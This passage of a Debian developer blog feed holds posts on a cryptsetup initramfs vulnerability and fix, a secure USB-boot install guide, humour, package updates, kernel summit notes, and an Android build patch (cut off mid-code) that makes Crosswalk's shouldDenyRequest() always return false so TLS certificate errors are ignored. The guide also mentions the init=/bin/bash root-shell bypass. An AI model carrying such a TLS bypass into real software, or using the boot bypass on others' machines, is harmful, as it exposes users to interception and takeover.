For the reasons explained about, I tend to disagree to Hectors and Ismaels opinion here. And after discussing this topic with several people I find my opinion reconfirmed: the Debian Security Team disputes the security impact of the issue and others agree. But leaving the disputable opinion on a sane default aside, I don't think that the cryptsetup package is the right place to change the default, if at all. If you want added security by a locked down initramfs (i.e. no rescue shell spawned), then at least the bootloader (GNU GRUB) needs to be locked down by default as well. To make it clear: if one wants to lock down the boot process, bootloader and initramfs should be locked down together. And the right place to do this would be the configurable behaviour of grub-mkconfig. Here, one can set a password for GRUB and the boot parameter 'panic=1' which disables the spawning of a rescue shell in initramfs. But as mentioned, I don't agree that this would be sane defaults. The vast majority of Debian systems out there don't have any security added by locked down bootloader and initramfs and the benefit of a rescue shell for debugging purposes clearly outrivals the minor security impact in my opinion. For the few setups which require the added security of a locked down bootloader and initramfs, we already have the relevant options documented in the Securing Debian Manual: After discussing the topic with initramfs-tools maintainers today, Guilhem and me (the cryptsetup maintainers) finally decided to not change any defaults and just add a 'sleep 60' after the maximum allowed attempts were reached. 2. tries=n option ignored, local brute-force slightly cheaper Apart from the issue of a rescue shell being spawned, Hector and Ismael also discovered a programming bug in the cryptsetup initramfs integration. This bug in the cryptroot initramfs local-top script allowed endless retries of passphrase input, ignoring the tries=n option of crypttab (and the default of 3). As a result, theoretically unlimited attempts to unlock encrypted disks were possible when processed during initramfs stage. The attack vector here was that local brute-force attacks are a bit cheaper. Instead of having to reboot after max tries were reached, one could go on trying passwords. Even though efficient brute-force attacks are mitigated by the PBKDF2 implementation in cryptsetup, this clearly is a real bug. The reason for the bug was twofold:
  • First, the condition in setup_mapping() responsible for making the function fail when the maximum amount of allowed attempts is reached, was never met: 
    setup_mapping()
 
  [...]
  # Try to get a satisfactory password $crypttries times
  count=0                              
    
  while [ $crypttries -le 0 ]   [ $count -lt $crypttries ]; do
      export CRYPTTAB_TRIED="$count"
      count=$(( $count + 1 ))
      [...]
  done
  if [ $crypttries -gt 0 ] && [ $count -gt $crypttries ]; then
      message "cryptsetup: maximum number of tries exceeded for $crypttarget"
      return 1
  fi
  [...]
    As one can see, the while loop stops when $count -lt $crypttries. Thus the second condition $count -gt $crypttries is never met. This can easily be fixed by decreasing $count by one in case of a successful unlock attempt along with changing the second condition to $count -ge $crypttries: 
    setup_mapping()
 
  [...]
  while [ $crypttries -le 0 ]   [ $count -lt $crypttries ]; do
      [...]
      # decrease $count by 1, apparently last try was successful.
      count=$(( $count - 1 ))
      [...]
  done
  if [ $crypttries -gt 0 ] && [ $count -ge $crypttries ]; then
      [...]
  fi
  [...]
    Christian Lamparter already spotted this bug back in October 2011 and provided a (incomplete) patch, but back then I even managed to merge the patch in an improper way, making it even more useless: The patch by Christian forgot to decrease $count by one in case of a successful unlock attempt, resulting in warnings about maximum tries exceeded even for successful attemps in some circumstances. But instead of adding the decrease myself and keeping the (almost correct) condition $count -eq $crypttries for detection of exceeded maximum tries, I changed back the condition to the wrong original $count -gt $crypttries that again was never met. Apparently I didn't test the fix properly back then. I definitely should do better in future!
  • Second, back in December 2013, I added a cryptroot initramfs local-block script as suggested by Goswin von Brederlow in order to fix bug #678692. The purpose of the cryptroot initramfs local-block script is to invoke the cryptroot initramfs local-top script again and again in a loop. This is required to support complex block device stacks. In fact, the numberless options of stacked block devices are one of the biggest and most inglorious reasons that the cryptsetup initramfs integration scripts became so complex over the years. After all we need to support setups like rootfs on top of LVM with two separate encrypted PVs or rootfs on top of LVM on top of dm-crypt on top of MD raid. The problem with the local-block script is that exiting the setup_mapping() function merely triggers a new invocation of the very same function. The guys who discovered the bug suggested a simple and good solution to this bug: When maximum attempts are detected (by second condition from above), the script sleeps for 60 seconds. This mitigates the brute-force attack options for local attackers - even rebooting after max attempts should be faster.

About disclosure, wording and clickbaiting I'm happy that Hector and Ismael brought up the topic and made their argument about the security impacts of an initramfs rescue shell, even though I have to admit that I was rather astonished about the fact that they got a CVE assigned. Nevertheless I'm very happy that they informed the Security Teams of Debian and Ubuntu prior to publishing their findings, which put me in the loop in turn. Also Hector and Ismael were open and responsive when it came to discussing their proposed fixes. But unfortunately the way they advertised their finding was not very helpful. They announced a speech about this topic at the DeepSec 2016 in Vienna with the headline Abusing LUKS to Hack the System. Honestly, this headline is missleading - if not wrong - in several ways:
  • First, the whole issue is not about LUKS, neither is it about cryptsetup itself. It's about Debians integration of cryptsetup into the initramfs, which is a compeletely different story.
  • Second, the term hack the system suggests that an exploit to break into the system is revealed. This is not true. The device encryption is not endangered at all.
  • Third - as shown above - very special prerequisites need to be met in order to make the mere existance of a LUKS encrypted device the relevant fact to be able to spawn a rescue shell during initramfs.
Unfortunately, the way this issue was published lead to even worse articles in the tech news press. Topics like Major security hole found in Cryptsetup script for LUKS disk encryption or Linux Flaw allows Root Shell During Boot-Up for LUKS Disk-Encrypted Systems suggest that a major security vulnerabilty was revealed and that it compromised the protection that cryptsetup respective LUKS offer. If these articles/news did anything at all, then it was causing damage to the cryptsetup project, which is not affected by the whole issue at all. After the cat was out of the bag, Marco and Ismael aggreed that the way the news picked up the issue was suboptimal, but I cannot fight the feeling that the over-exaggeration was partly intended and that clickbaiting is taking place here. That's a bit sad.

6 December 2016

Mirco Bauer: Secure USB boot with Debian

Foreword The moment you leave your laptop, say in a hotel room, you can no longer trust your system as it could have been modified while you were away. Think you are safe because you have a crypted disk? Well, if the boot partition is on the laptop itself, it can be manipulated and you will not notice because the boot partition can't be encrypted. The BIOS needs to access the MBR and boot loader and that loads the Linux kernel, all unencrypted. There has been some reports lately that the Linux cryptsetup is insecure because you can spawn a root shell by hitting the enter key for 70 seconds. This is not the real threat to your system, really. If someone has physical access to your hardware, he can get a root shell in less than a second by passing init=/bin/bash as parameter to the Linux kernel in the boot loader regardless if cryptsetup is used or not! The attacker can also use other ways like booting a live system from CD/USB etc. The real insecurity here is the unencrypted boot partition and not some script that gets executed from it. So how to prevent this physical access attack vector? Just keep reading this guide. This guide explains how to install Debian securely on your laptop with using an external USB boot disk. The disk inside the laptop should not contain your /boot partition since that is an easy target for manipulation. An attacker could for example change the boot scripts inside the initrd image to capture your passphrase of your crypted volume. With an USB boot partition, you can unplug the USB stick after the operating system has booted. Best practice here is to have the USB stick together with your bunch of keys. That way you will disconnect your USB stick early after the boot as finished so you can put it back into your pocket.

Secure Hardware Assumptions We have to assume here that the hardware you are using to download and verify the install media is safe to use. Same applies with the hardware where you are doing the fresh Debian install. Say the hardware does not contain any malware in the form of code in EFI or other manipulation attempts that influence the behavior of the operating system we are going to install.

Download Debian Install ISO Feel free to use any Debian mirror and install flavor. For this guide I am using the download mirror in Germany and the DVD install flavor. 
wget http://ftp.de.debian.org/debian-cd/current/amd64/iso-dvd/debian-8.6.0-amd64-DVD-1.iso

Verify hashsum of ISO file To know if the ISO file was downloaded without modification we have to check the hashsum of the file. The hashsum file can be found in the same directory as the ISO file on the download mirror. With hashsums if a single bit differs in the file, the resulting SHA512 sum will be completely different. Obtain the hashsum file using: 
wget http://ftp.de.debian.org/debian-cd/current/amd64/iso-dvd/SHA512SUMS
Calculate a local hashsum from the downloaded ISO file: 
sha512sum debian-8.6.0-amd64-DVD-1.iso
Now you need to compare the hashsum with that is in the SHA512SUMS file. Since the SHA512SUMS file contains the hashsums of all files that are in the same directory you need to find the right one first. grep can do this for you: 
grep debian-8.6.0-amd64-DVD-1.iso SHA512SUMS
Both commands executed after each other should show following output: 
$ sha512sum debian-8.6.0-amd64-DVD-1.iso
c3883edfc95e3b09152d46ce29a032eed1de71531549aee86bb98dab1528088a16f0b4d628aee8ac6cc420364e208d3d5e19d0dea3576f53b904c18e8f604d8c  debian-8.6.0-amd64-DVD-1.iso
$ grep debian-8.6.0-amd64-DVD-1.iso SHA512SUMS
c3883edfc95e3b09152d46ce29a032eed1de71531549aee86bb98dab1528088a16f0b4d628aee8ac6cc420364e208d3d5e19d0dea3576f53b904c18e8f604d8c  debian-8.6.0-amd64-DVD-1.iso
As you can see the hashsum found in the SHA512SUMS file matches with the locally generated hashsum using the sha512sum command. At this point we are not finished yet. These 2 matching hashsums just means whatever was on the download server matches what we have received and stored locally on your disk. The ISO file and SHA512SUM file could still be a modified version! And this is where GPG signatures chime in, covered in the next section.

Download GPG Signature File GPG signature files usually have the .sign file name extension but could also be named .asc. Download the signature file using wget: 
wget http://ftp.de.debian.org/debian-cd/current/amd64/iso-dvd/SHA512SUMS.sign

Obtain GPG Key of Signer Letting gpg verify the signature will fail at this point as we don't have the public key of the signer: 
$ gpg --verify SHA512SUMS.sign
gpg: assuming signed data in 'SHA512SUMS'
gpg: Signature made Mon 19 Sep 2016 12:23:47 AM HKT
gpg:                using RSA key DA87E80D6294BE9B
gpg: Can't check signature: No public key
Downloading a key is trivial with gpg, but more importantly we need to verify that this key (DA87E80D6294BE9B) is trustworthy, as it could also be a key of the infamous man-in-the-middle. Here you can find the GPG fingerprints of the official signing keys used by Debian. The ending of the "Key fingerprint" line should match the key id we found in the signature file from above. 
gpg:                using RSA key DA87E80D6294BE9B
Key fingerprint = DF9B 9C49 EAA9 2984 3258  9D76 DA87 E80D 6294 BE9B
DA87E80D6294BE9B matches Key fingerprint = DF9B 9C49 EAA9 2984 3258 9D76 DA87 E80D 6294 BE9B To download and import this key run: $ gpg --keyserver keyring.debian.org --recv-keys DA87E80D6294BE9B

Verify GPG Signature of Hashsum File Ok, we are almost there. Now we can run the command which checks if the signature of the hashsum file we have, was not modified by anyone and matches what Debian has generated and signed. 
gpg: assuming signed data in 'SHA512SUMS'
gpg: Signature made Mon 19 Sep 2016 12:23:47 AM HKT
gpg:                using RSA key DA87E80D6294BE9B
gpg: checking the trustdb
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: Good signature from "Debian CD signing key <debian-cd@lists.debian.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF9B 9C49 EAA9 2984 3258  9D76 DA87 E80D 6294 BE9B
The important line in this output is the "Good signature from ..." one. It still shows a warning since we never certified (signed) that Debian key. This can be ignored at this point though.

Write ISO Image to Install Media With a verified pristine ISO file we can finally start the install by writing it to an USB stick or blank DVD. So use your favorite tool to write the ISO to your install media and boot from it. I have used dd and a USB stick attached as /dev/sdb. 
dd if=debian-8.6.0-amd64-DVD-1.iso of=/dev/sdb bs=1M oflag=sync

Install Debian on Crypted Volume with USB boot partition I am not explaining each step of the Debian install here. The Debian handbook is a good resource for covering each install step. Follow the steps until the installers wants to partition your disk. There you need to select the "Guided, use entire disk and set up encrypted LVM" option. After that select the built-in disk of your laptop, which usually is sda but double check this before you go ahead, as it will overwrite the data! The 137 GB disk in this case is the built-in disk and the 8 GB is the USB stick. It makes no difference at this point if you select "All files in one partition" or "Separate /home partition". The USB boot partition can be selected a later step. Confirm that you want to overwrite your built-in disk shown as sda. It will take a while as it will write random data to the disk to ensure there is no unencrypted data left on the disk from previous installations for example. Now you need to enter your passphrase that will be used to protect the private key of the crypt volume. Choose something long enough like a sentence and don't forget the passphrase else you can no longer access your data! Don't save the passphrase on any computer, smartphone or password manager. If you want to make a backup of your passphrase then use a ball pen and paper and store the paper backup in a secure location. The installer will show you a summary of the partitioning as shown above but we need to make the change for the USB boot disk. At the moment it wants to put /boot on sda which is the built-in disk, while our USB stick is sdb. Select /boot and hit enter, after that select "Delete this partition". After /boot was deleted we can create /boot on the USB stick shown as sdb. Select sdb and hit enter. It will ask if you want to create an empty partition table. Confirm that question with yes. The partition summary shows sdb with no partitions on it. Select FREE SPACE and select "Create a new partition". Confirm the suggested partition size. Confirm the partition type to be "Primary". It is time to tell the installer to use this new partition on the USB stick (sdb1) as /boot partition. Select "Mount point: /home" and in the next dialog select "/boot - static files of the boot loader" as shown below: Confirm the made changes by selecting "Done setting up the partition". The final partitioning should look now like the following screenshot: If the partition summary looks good, go ahead with the installation by selecting "Finish partitioning and write changes to disk". When the installer asks if it should force EFI, then select no, as EFI is not going to protect you. Finish the installation as usual, select your preferred desktop environment etc.

GRUB Boot Loader Confirm the dialog that wants to install GRUB to the master boot record. Here it is important to install it to the USB stick and not your built-in SATA/SSD disk! So select sdb (the USB stick) in the next dialog.

First Boot from USB Once everything is installed, you can boot from your USB stick. As simple test you can unplug your USB stick and the boot should fail with "no operating system found" or similar error message from the BIOS. If it doesn't boot even though the USB stick is connected, then most likely your BIOS is not configured to boot from USB media. Also a blank screen and nothing happening is usually meaning the BIOS can't find a boot device. You need to change the boot setting in your BIOS. As the steps are very different for each BIOS, I can't provide a detailed step-by-step list here. Usually you can enter the BIOS using F1, F2 or F12 after powering on your computer. In the BIOS there is a menu to configure the boot order. In that list it should show USB disk/storage as the first position. After you have made the changes save and exit the BIOS. Now it will boot from your USB stick first and GRUB will show up and proceeds with the boot process till it will ask for your passphrase to unlock the crypt volume.

Unmount /boot partition after Boot If you boot your laptop from the USB stick, we want to remove the stick after it has finished booting. This will prevent an attacker to make modifications to your USB stick. To avoid data loss, we should not simply unplug the USB stick but unmount /boot first and then unplug the stick. Good news is that we can automate this unmounting and you just need to unplug the stick after the laptop has finished booting to your login screen. Just add this line to your /etc/rc.local file: 
umount /boot
After boot you can once verify that it automatically unmounts /boot for you by running: 
mount   grep /boot
If that command produces no output, then /boot is not mounted and you can safely unplug the USB stick.

Final Words From time to time you need to upgrade your Linux kernel of course which is on the /boot partition. This can still be done the regular way using apt-get upgrade, except that you need to mount /boot before that and unmount it again after the kernel upgrade. Enjoy your secured laptop. Now you can leave it in a hotel room without the possibility of someone trying you obtain your passphrase by putting a key logger in your boot partition. All the attacker will see is a fully encrypted harddisk. If he tries to mess with your crypted disk, you will notice as the decryption will fail. Disclaimer: there are still other attack vectors possible, but they are much harder to do. Your hardware or BIOS can still be modified. But not by holding down the enter key for 70 seconds or by booting a live system.

5 December 2016

Shirish Agarwal: The Anti-Pollito squad arrest and confession

Disclaimer This is an attempt at humor and hence entirely fictional in nature. While some incidents depicted are true, the context and the story woven around them are by yours truly. None of the Mascots of Debian were hurt during the blog post . I also disavow any responsibility for any hurt (real or imagined) to any past, current and future mascots. The attempt should not be looked upon as demeaning people who are accused of false crimes, tortured and confessions eked out of them as this happens quite a lot (In India for sure, but guess it s the same world over in various degrees). The idea is loosely inspired by Chocolate:Deep Dark Secrets. (2005) On a more positive note, let s start Being a Sunday morning woke up late to find incessant knocking on the door, incidentally mum was not at home. Opening the door, found two official looking gentleman. They asked my name, asked my credentials, tortured and arrested me for Group conspiracy of Malicious Mischief in second and third degrees . The torture was done by means of making me forcefully watch endless reruns of Norbit . While I do love Eddie Murphy, this was one of his movies he could have done without . I guess for many people watching it once was torture enough. I *think* they were nominated for razzie awards dunno if they won it or not, but this is beside the point. Unlike the 20 years it takes for a typical case to reach to its conclusion even in the smallest court in India, due to the torture, I was made to confess (due to endless torture) and was given summary judgement. The judgement was/is as follows a. Do 100 hours of Community service in Debian in 2017. This could be done via blog posts, raising tickets in the Debian BTS or in whichever way I could be helpful to Debian. b. Write a confessional with some photographic evidence sharing/detailing some of the other members who were part of the conspiracy in view of the reduced sentence. So now, have been forced to write this confession As you all know, I won a bursary this year for debconf16. What is not known by most people is that I also got an innocuous looking e-mail titled Pollito for DPL . While I can t name all the names as investigation is still ongoing about how far-reaching the conspiracy is . The email was purportedly written by members of cabal within cabal which are in Debian. I looked at the email header to see if this was genuine and I could trace the origin but was left none the wiser, as obviously these people are far more technically advanced than to fall in simple tricks like this Anyways, secretly happy that I have been invited to be part of these elites, I did the visa thing, packed my bags and came to Debconf16. At this point in juncture, I had no idea whether it was real or I had imagined the whole thing. Then to my surprise saw this evidence of conspiracy to have Pollito as DPL, Wifi Password Just like the Illuminati the conspiracy was for all to see those who knew about it. Most people were thinking of it as a joke, but those like me who had got e-mails knew better. I knew that the thing is real, now I only needed to bide my time and knew that the opportunity would present itself. And few days later, sure enough, there was a trip planned for Table Mountain, Cape Town . Few people planned to hike to the mountain, while few chose to take the cable car till up the mountain. First glance of the cable car with table mountain as background Quite a few people came along with us and bought tickets for the to and fro to the mountain and back. Ticket for CPT Table mountain car cable Incidentally, I was thinking if the South African Govt. were getting the tax or not. If you look at the ticket, there is just a bar-code. In India as well as the U.S. there is TIN Tax Identification Number TIN displayed on an invoice from channeltimes.com Few links to share what it is all about . While these should be on all invoices, need to specially check when taking high-value items. In India as shared in the article the awareness, knowledge leaves a bit to be desired. While I m drifting from the incident, it would be nice if somebody from SA could share how things work there. Moving on, we boarded the cable car. It was quite spacious cable car with I guess around 30-40 people or some more who were able to see everything along with the controller. from inside the table mountain cable car 360 degrees It was a pleasant cacophony of almost two dozen or more nationalities on this 360 degrees moving chamber. I was a little worried though as it essentially is a bucket and there is always a possibility that a severe wind could damage it. Later somebody did share that some frightful incidents had occurred not too long ago on the cable car. It took about 20-25 odd minutes to get to the top of table mountain and we were presented with views such as below View from Table Mountain cable car looking down The picture I am sharing is actually when we were going down as all the pictures of going up via the cable car were over-exposed. Also, it was pretty crowded on the way up then on the way down so handling the mobile camera was not so comfortable. Once we reached up, the wind was blowing at incredible speeds. Even with my jacket and everything I was feeling cold. Most of the group around 10-12 people looked around if we could find a place to have some refreshments and get some of the energy in the body. So we all ventured to a place and placed our orders the bleh... Irish coffee at top of Table Mountain I was introduced to Irish Coffee few years back and have had some incredible Irish Coffees in Pune and elsewhere. I do hope to be able to make Irish Coffee at home if and when I have my own house. This is hotter than brandy and is perfect if you are suffering from cold etc if done right, really needs some skills. This is the only drink which I wanted in SA which I never got right . As South Africa was freezing for me, this would have been the perfect antidote but the one there as well as elsewhere were all bleh. What was interesting though, was the coffee caller besides it. It looked like a simple circuit mounted on a PCB board with lights, vibrations and RFID and it worked exactly like that. I am guessing as and when the order is ready, there is an interrupt signal sent via radio waves which causes the buzzer to light and vibrate. Here s the back panel if somebody wants to take inspiration and try it as a fun project backpanel of the buzz caller Once we were somewhat strengthened by the snacks, chai, coffee etc. we made our move to seeing the mountain. The only way to describe it is that it s similar to Raigad Fort but the plateau seemed to be bigger. The wikipedia page of Table Mountain attempts to share but I guess it s more clearly envisioned by one of the pictures shared therein. table mountain panaromic image I have to say while Table Mountain is beautiful and haunting as it has scenes like these Some of the oldest rocks known to wo/man. There is something there which pulls you, which reminds you of a long lost past. I could have simply sat there for hours together but as was part of the group had to keep with them. Not that I minded. The moment I was watching this, I was transported to some memories of the Himalayas about 20 odd years or so. In that previous life, I had the opportunity to be with some of the most beautiful women and also been in the most happening places, the Himalayas. I had shared years before some of my experiences I had in the Himalayas. I discontinued it as I didn t have a decent camera at that point in time. While I don t wanna digress, I would challenge anybody to experience the Himalayas and then compare. It is just something inexplicable. The beauty and the rawness that Himalayas shows makes you feel insignificant and yet part of the whole cosmos. What Paulo Cohello expressed in The Valkyries is something that could be felt in the Himalayas. Leh, Ladakh, Himachal , Garwhal, Kumaon. The list will go on forever as there are so many places, each more beautiful than the other. Most places are also extremely backpacker-friendly so if you ask around you can get some awesome deals if you want to spend more than a few days in one place. Moving on, while making small talk @olasd or Nicolas Dandrimont , the headmaster of our trip made small talk to each of us and eked out from all of us that we wanted to have Pollito as our DPL (Debian Project Leader) for 2017. Few pictures being shared below as supporting evidence as well The Pollito as DPL cabal in action members of the Pollito as DPL where am I or more precisely how far am I from India. While I do not know who further up than Nicolas was on the coup which would take place. The idea was this If the current DPL steps down, we would take all and any necessary actions to make Pollito our DPL. Pollito going to SA - photo taken by Jonathan Carter This has been taken from Pollito s adventure Being a responsible journalist, I also enquired about Pollito s true history as it would not have been complete without one. This is the e-mail I got from Gunnar Wolf, a friend and DD from Mexico
Turns out, Valessio has just spent a week staying at my house And
in any case, if somebody in Debian knows about Pollito s
childhood That is me. Pollito came to our lives when we went to Congreso Internacional de
Software Libre (CISOL) in Zacatecas city. I was strolling around the
very beautiful city with my wife Regina and our friend Alejandro
Miranda, and at a shop at either Ram n L pez Velarde or Vicente
Guerrero, we found a flock of pollitos. http://www.openstreetmap.org/#map=17/22.77111/-102.57145 Even if this was comparable to a slave market, we bought one from
them, and adopted it as our own. Back then, we were a young couple Well, we were not that young
anymore. I mean, we didn t have children. Anyway, we took Pollito with
us on several road trips, such as the only time I have crossed an
international border driving: We went to Encuentro Centroamericano de
Software Libre at Guatemala city in 2012 (again with Alejandro), and
you can see several Pollito pics at: http://gwolf.org/album/road-trip-ecsl-2012-guatemala-0 Pollito likes travelling. Of course, when we were to Nicaragua for
DebConf, Pollito tagged along. It was his first flight as a passenger
(we never asked about his previous life in slavery; remember, Pollito
trust no one). Pollito felt much welcome with the DebConf crowd. Of course, as
Pollito is a free spirit, we never even thought about forcing him to
come back with us. Pollito went to Switzerland, and we agreed to meet
again every year or two. It s always nice to have a chat with him. Hugs!
So with that backdrop I would urge fellow Debianities to take up the slogans LONG LIVE THE DPL ! LONG LIVE POLLITO ! LONG LIVE POLLITO THE DPL ! The first step to make Pollito the DPL is to ensure he has a @debian.org (pollito@debian.org) We also need him to be made a DD because only then can he become a DPL. In solidarity and in peace
Filed under: Miscellenous Tagged: #caller, #confession, #Debconf16, #debian, #Fiction, #history, #Pollito, #Pollito as DPL, #Table Mountain, Cabal, memories, south africa

Norbert Preining: Debian/TeX Live 2016.20161130-1

As we are moving closer to the Debian release freeze, I am shipping out a new set of packages. Nothing spectacular here, just the regular updates and a security fix that was only reported internally. Add sugar and a few minor bug fixes.
texlive2016-debian I have been silent for quite some time, busy at my new job, busy with my little monster, writing papers, caring for visitors, living. I have quite a lot of things I want to write, but not enough time, so very short only this one. Enjoy. New packages awesomebox, baskervillef, forest-quickstart, gofonts, iscram, karnaugh-map, tikz-optics, tikzpeople, unicode-bidi. Updated packages acmart, algorithms, aomart, apa, apa6, appendix, apxproof, arabluatex, asymptote, background, bangorexam, beamer, beebe, biblatex-gb7714-2015, biblatex-mla, biblatex-morenames, bibtexperllibs, bidi, bookcover, bxjalipsum, bxjscls, c90, cals, cell, cm, cmap, cmextra, context, cooking-units, ctex, cyrillic, dirtree, ekaia, enotez, errata, euler, exercises, fira, fonts-churchslavonic, formation-latex-ul, german, glossaries, graphics, handout, hustthesis, hyphen-base, ipaex, japanese, jfontmaps, kpathsea, l3build, l3experimental, l3kernel, l3packages, latex2e-help-texinfo-fr, layouts, listofitems, lshort-german, manfnt, mathastext, mcf2graph, media9, mflogo, ms, multirow, newpx, newtx, nlctdoc, notes, patch, pdfscreen, phonenumbers, platex, ptex, quran, readarray, reledmac, shapes, showexpl, siunitx, talk, tcolorbox, tetex, tex4ht, texlive-en, texlive-scripts, texworks, tikz-dependency, toptesi, tpslifonts, tracklang, tugboat, tugboat-plain, units, updmap-map, uplatex, uspace, wadalab, xecjk, xellipsis, xepersian, xint.

Reproducible builds folks: Reproducible Builds: week 84 in Stretch cycle

What happened in the Reproducible Builds effort between Sunday November 27 and Saturday December 3 2016: Reproducible work in other projects Media coverage, etc. Bugs filed Chris Lamb: Clint Adams: Dafydd Harries: Daniel Shahaf: Reiner Herrmann: Valerie R Young: Reviews of unreproducible packages 15 package reviews have been added, 4 have been updated and 26 have been removed in this week, adding to our knowledge about identified issues. 2 issue types have been added: Weekly QA work During our reproducibility testing, some FTBFS bugs have been detected and reported by: diffoscope development Is is available now in Debian, Archlinux and on PyPI. strip-nondeterminism development reprotest development tests.reproducible-builds.org Misc. This week's edition was written by Chris Lamb, Valerie Young, Vagrant Cascadian, Holger Levsen and reviewed by a bunch of Reproducible Builds folks on IRC.

4 December 2016

Niels Thykier: Piuparts integration in britney

As of today, britney now fetches reports from piuparts.debian.org and uses it as a part of her evaluation for package migration. As with her RC bug check, we are only preventing (known) regressions from migrating. The messages (subject to change) look something like: If you want to do machine parsing of the Britney excuses, we also provide an excuses.yaml. In there, you are looking for excuses[X].policy_info.piuparts.test-results , which will be one of: Enjoy.
Filed under: Debian, Release-Team

3 December 2016

Ben Hutchings: Linux Kernel Summit 2016, part 1

I attended this year's Linux Kernel Summit in Santa Fe, NM, USA and made notes on some of the sessions that were relevant to Debian. LWN also reported many of the discussions. This is the first of two parts of my notes; part 2 is here. Stable process Jiri Kosina, in his role as a distribution maintainer, sees too many unsuitable patches being backported - e.g. a fix for a bug that wasn't present or a change that depends on an earlier semantic change so that when cherry-picked it still compiles but isn't quite right. He thinks the current review process is insufficient to catch them. As an example, a recent fix for a minor information leak (CVE-2016-9178) depended on an earlier change to page fault handling. When backported by itself, it introduced a much more serious security flaw (CVE-2016-9644). This could have been caught very quickly by a system call fuzzer. Possible solutions: require 'Fixes' field, not just 'Cc: stable'. Deals with 'bug wasn't present', but not semantic changes. There was some disagreement whether 'Fixes' without 'Cc: stable' should be sufficient for inclusion in stable. Ted Ts'o said he specifically does that in some cases where he thinks backporting is risky. Greg Kroah-Hartman said he takes it as a weaker hint for inclusion in stable. Is it a good idea to keep 'Cc: stable' given the risk of breaking embargo? On balance, yes, it only happened once. Sometimes it's hard to know exactly how/when the bug was introduced. Linus doesn't want people to guess and add incorrect 'Fixes' fields. There is still the option to give some explanation and hints for stable maintainers in the commit message. Ideally the upstream developer should provide a test case for the bug. Is Linus happy? Linus complained about minor fixes coming later in the release cycle. After rc2, all fixes should either be for new code introduced in the current release cycle or for important bugs. However, new, production-ready drivers without new infrastructure dependencies are welcome at almost any point in the release cycle. He was unhappy about some big changes in RDMA, but I'm not sure what those were. Bugzilla and bug tracking Laura Abbott started a discussion of bugzilla.kernel.org, talking about subsystems where maintainers ignore it and any responses come from random people giving bad advice. This is a terrible experience for users. Several maintainers are actively opposed to using it, and the email bridge no longer works (or not well?). She no longer recommends Fedora bug submitters to submit reports there. Are there any alternatives? None were proposed. Someone asked whether Bugzilla could tell reporters to use email for certain products/components instead of continuing with the bug entry process. Konstantin Ryabitsev talked about the difficulty of upgrading a customised instance of Bugzilla. Much customisation requires patches which don't apply to next version (maybe due to limitations of the extension mechanism?). He has had to drop many such patches. Email is hard to track when a bug is handed over from one maintainer to another. Email archives are very unreliable. Linus: I'll take Bugzilla over mail-archive. No-one is currently keeping track of bugs across the kernel and making sure they get addressed by an appropriate maintainer. It's (at least) a full-time job but no individual company has business case for paying for this. Konstantin suggested (I think) that CII might pay for this. There was some discussion of what information should be included in a bug report. The Cut here line in oops messages was said to be a mistake because there are often relevant messages before it. The model of computer is often important. Beyond that, there was not much interest in the automated information gathering that distributions do. Distribution maintainers should curate bugs before forwarding upstream. There was a request for custom fields per component in Bugzilla. Konstantin says this is doable (possibly after upgrade to version 5); it doesn't require patches. The future of the Kernel Summit The kernel community is growing, and the invitation list for the core day is too small to include all the right people for technical subjects. For 2017, the core half-day will have an even smaller invitation list, only ~30 subsystem maintainers that Linus pulls from. The entire technical track will be open (I think). Kernel Summit 2017 and some mini-summits will be held in Prague alongside Open Source Summit Europe (formerly LinuxCon Europe) and Embedded Linux Conference Europe. There were some complaints that LinuxCon is not that interesting to kernel developers, compared to Linux Plumbers Conference (which followed this year's Kernel Summit). However, the Linux Foundation is apparently soliciting more hardcore technical sessions. Kernel Summit and Linux Plumbers Conference are quite small, and it's apparently hard to find venues for them in cities that also have major airports. It might be more practical to co-locate them both with Open Source Summit in future. time_t and 2038 On 32-bit architectures the kernel's representation of real time (time_t etc.) will break in early 2038. Fixing this in a backward-compatible way is a complex problem. Arnd Bergmann presented the current status of this process. There has not yet been much progress in mainline, but more fixes have been prepared. The changes to struct inode and to input events are proving to be particularly problematic. There is a need to add new system calls, and he intends to add these for all (32-bit) achitectures at once. Copyright retention James Bottomley talked about how developers can retain copyright on their contributions. It's hard to renegotiate within an existing employment; much easier to do this when preparing to sign a new contract. Some employers expect you to fill in a document disclosing 'prior inventions' you have worked on. Depending on how it's worded, this may require the employer to negotiate with you again whenever they want you to work on that same software. It's much easier for contractors to retain copyright on their work - customers expect to have a custom agreement and don't expect to get copyright on contractor's software.

Vincent Bernat: Build-time dependency patching for Android

This post shows how to patch an external dependency for an Android project at build-time with Gradle. This leverages the Transform API and Javassist, a Java bytecode manipulation tool. 
buildscript  
    dependencies  
        classpath 'com.android.tools.build:gradle:2.2.+'
        classpath 'com.android.tools.build:transform-api:1.5.+'
        classpath 'org.javassist:javassist:3.21.+'
        classpath 'commons-io:commons-io:2.4'
Disclaimer: I am not a seasoned Android programmer, so take this with a grain of salt.

Context This section adds some context to the example. Feel free to skip it. Dashkiosk is an application to manage dashboards on many displays. It provides an Android application you can install on one of those cheap Android sticks. Under the table, the application is an embedded webview backed by the Crosswalk Project web runtime which brings an up-to-date web engine, even for older versions of Android1. Recently, a security vulnerability has been spotted in how invalid certificates were handled. When a certificate cannot be verified, the webview defers the decision to the host application by calling the onReceivedSslError() method:
Notify the host application that an SSL error occurred while loading a resource. The host application must call either callback.onReceiveValue(true) or callback.onReceiveValue(false). Note that the decision may be retained for use in response to future SSL errors. The default behavior is to pop up a dialog.
The default behavior is specific to Crosswalk webview: the Android builtin one just cancels the load. Unfortunately, the fix applied by Crosswalk is different and, as a side effect, the onReceivedSslError() method is not invoked anymore2. Dashkiosk comes with an option to ignore TLS errors3. The mentioned security fix breaks this feature. The following example will demonstrate how to patch Crosswalk to recover the previous behavior4.

Simple method replacement Let s replace the shouldDenyRequest() method from the org.xwalk.core.internal.SslUtil class with this version: 
// In SslUtil class
public static boolean shouldDenyRequest(int error)  
    return false;

Transform registration Gradle Transform API enables the manipulation of compiled class files before they are converted to DEX files. To declare a transform and register it, include the following code in your build.gradle: 
import com.android.build.api.transform.Context
import com.android.build.api.transform.QualifiedContent
import com.android.build.api.transform.Transform
import com.android.build.api.transform.TransformException
import com.android.build.api.transform.TransformInput
import com.android.build.api.transform.TransformOutputProvider
import org.gradle.api.logging.Logger
class PatchXWalkTransform extends Transform  
    Logger logger = null;
    public PatchXWalkTransform(Logger logger)  
        this.logger = logger
